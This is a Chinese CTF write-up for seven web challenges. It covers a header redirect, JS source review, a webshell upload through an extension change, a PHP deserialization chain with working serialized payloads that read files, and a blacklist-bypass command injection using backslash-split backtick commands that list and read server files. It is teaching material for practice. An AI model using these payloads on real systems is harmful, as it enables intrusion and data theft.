2024.03.31考核Web部分 writeup
1. Web1
考察点:burpsuite使用、http基本信息
打开实例,可以看到一个网页:
查看源码、cookie后无果,发现当前网页文件为inbex.php,与平常做题时默认访问的页面index.php不同,故在网址栏访问index.php。
发现无论怎么访问,页面都会回到inbex.php。此时需要使用burpsuite抓包工具进行操作:
(1)浏览器开启代理并访问index.php,bp抓到包,并将信息发送到重放器。
(2)通过重放器重新发送信息,可以看到flag。
附题目源码分析:
<?php
header("Flag: TYCTF{testflag}"); //该flag仅为示例
header('Location:inbex.php')
?>
header方法将传入的内容写入http页面的头部信息中,即上图中响应部分。
Location参数会指定访问该网页时会跳转到哪一个地方,此处意为访问index.php时会自动跳转回inbex.php中。
2. Web2
考察点:js源码审计
打开实例有一个2048游戏界面,众所周知一般情况下web题的游戏都是有捷径的,故审计网页源代码。
网页源代码无有用的内容。
css代码无有用的内容。
js文件中发现一段有用的内容,意为达到对应的分数后再页面弹出警告框,框中的内容可能为flag。
将这段代码放入浏览器控制台,回车解码得到flag。
3. Web3
考察点:简单的文件上传、一句话木马编写、burpsuite抓包
看到文件上传页面,首先测试是否有过滤:
只允许上传上述文件类型,则我们尝试先在文本文档中写入一句话木马,再使用burpsuite抓包更改文件后缀。
将文件后缀txt改为php,后放行,回到页面发现上传成功。
根据题目提示给出的文件上传路径,使用蚁剑连接shell,并拿到flag。
4. Web4
考察点:php反序列化、php伪协议、魔术方法利用、遍历文件和读取文件类的利用
源码分析:
<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}
public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}
public function yigei(){
echo 'Your output: '.$this->un4;
}
public function giao(){
@eval($this->un2);
}
public function __wakeup(){
include $this -> un2.'hint.php';
}
}
$data = $_POST['data'];
unserialize($data);
对类a分析:
-
定义了五个变量,未初始化
-
魔术方法__destruct(),在对象被销毁时执行。首先执行类中定义的方法Givemeanew(),将变量u4定义为以un0为类名、un1为参数的类的实例
-
后进入选择结构,判断un0变量不为空且un2为空,执行方法yigei(),输出变量un4,否则执行方法giao(),命令执行un2
-
魔术方法__wakeup(),当反序列化恢复成对象时执行。会包含由变量un2与“hint.php”拼接后的文件,显示内容
-
对POST传参变量data传值,并进行反序列化
解题思路:
(1)首先尝试查询提示文件,获得更多有用信息,这一步只需要给变量un2传入值,其他变量不需要。尝试直接序列化,无回显内容,后使用伪协议php://filter成功读取内容。
<?php
class a{
public $un0;
public $un1;
//与下面方法中的hint.php拼接后为完整的伪协议字符串
public $un2="php://filter/read=convert.base64-encode/resource=";
public $un3;
public $un4;
}
$a1=new a();
echo serialize($a1);
?>
序列化字符串:O:1:"a":5:{s:3:"un0";N;s:3:"un1";N;s:3:"un2";s:49:"php://filter/read=convert.base64-encode/resource=";s:3:"un3";N;s:3:"un4";N;}
传参获得编码:
PD9waHANCiRoaW50PSJmbGFn5Zyo5b2T5YmN55uu5b2V5Lit55qE5LulZuW8gOWktOeahHR4dOS4re+8jOaXoOazleeIhuegtOWHuuadpSI7
base64解码:
<?php
$hint="flag在当前目录中的以f开头的txt中,无法爆破出来";
(2)关于php读取文件,下面需要介绍遍历文件类和文件读取类:
- 遍历文件类
- DirectoryIterator
- FilesystemIteraor
- GlobIterator
第一个和第二个类基于echo触发_toString方法查找指定文件名;第三个基于glob()函数,使用glob://协议读取。
此处使用GlobIterator遍历以字母f开头的文本文档,该类支持模糊搜索,所以可用“f*.txt”。
<?php
class a{
public $un0="GlobIterator";
public $un1="glob://f*.txt";
public $un2;
public $un3="unserialize";
public $un4;
}
$a1=new a();
echo serialize($a1);
?>
序列化字符串:O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:13:"glob://f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
传入返回:Your output: flll44ggg-secret.txt
设置un0非空,un2空,通过选择结构,执行Givemeanew()方法,将查找的结果赋值给un4,后设置un3等于unserialize,调用yigei()方法,将un4打印出来。
- 文件读取类 SplFileObject
通过**类名(文件名)**获取到文件内容。
<?php
class a{
public $un0="SplFileObject";
public $un1="flll44ggg-secret.txt";
public $un2;
public $un3="unserialize";
public $un4;
}
$a1=new a();
echo serialize($a1);
?>
序列化字符串:O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:20:"flll44ggg-secret.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
传入返回:
Your output: So Powerful! your Flag:TYCTF{202f62d1-c6e0-4932-a626-7fb624a44002}
得到flag。
5. Web5
考察点:php代码审计、Linux命令的使用、命令的内联执行
源码分析:
<?php
## 来!!!绕!!!
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo 'So Powerful! This code is wonderful';echo '<br>';
eval($code);
}
else{
die("what do you want?????????");
}
}
else{
echo "尝试,并获得真理";
show_source(__FILE__);
}
?>
对正则表达式部分的分析:
- / 开始正则表达式,/i 结束,表示不区分大小写
- sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp:列出了一系列不允许执行的命令或操作,比如系统命令、文件读取、文件操作等。
- $|*|+|^|scan|.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell:包含了一些其他的关键词或函数名,可能是为了限制一些其他的敏感操作。
- | 表示或的关系。
(1)可以看到过滤的函数和字符很多,但是没有过滤\,可以考虑在命令字符之间插入\绕过检测。
(2)针对命令执行内容的输出,此处echo被过滤,我们可以使用printf、print_r等
(3)敏感命令执行方法被过滤,此处可用内联执行
内联执行:在PHP中,你可以使用反引号 ``(也称为反引号操作符)来执行系统命令并获取其输出。
根据上面的解释,我们有以下思路:
- 查看当前目录和上一级目录文件,发现疑似flag文件
/?code=printf(`l\s`);
/?code=printf(`l\s /`);
- 此处过滤了cat、more、less等查看文件内容的命令,可用 nl ,该命令的作用为输出文件内容,并在每行内容的开头添加行数
/?code=printf(`nl /fffffflllllllll444g`);
得到flag。
6. Web6
考察点:F12查看网页源代码
进入实例看到一张皮肤原画加雪花特效,很好看,但是查看源代码,发现flag。
7. Web7
考察点:GET、POST两种传参方法
根据要求使用Hackbar插件传参即可。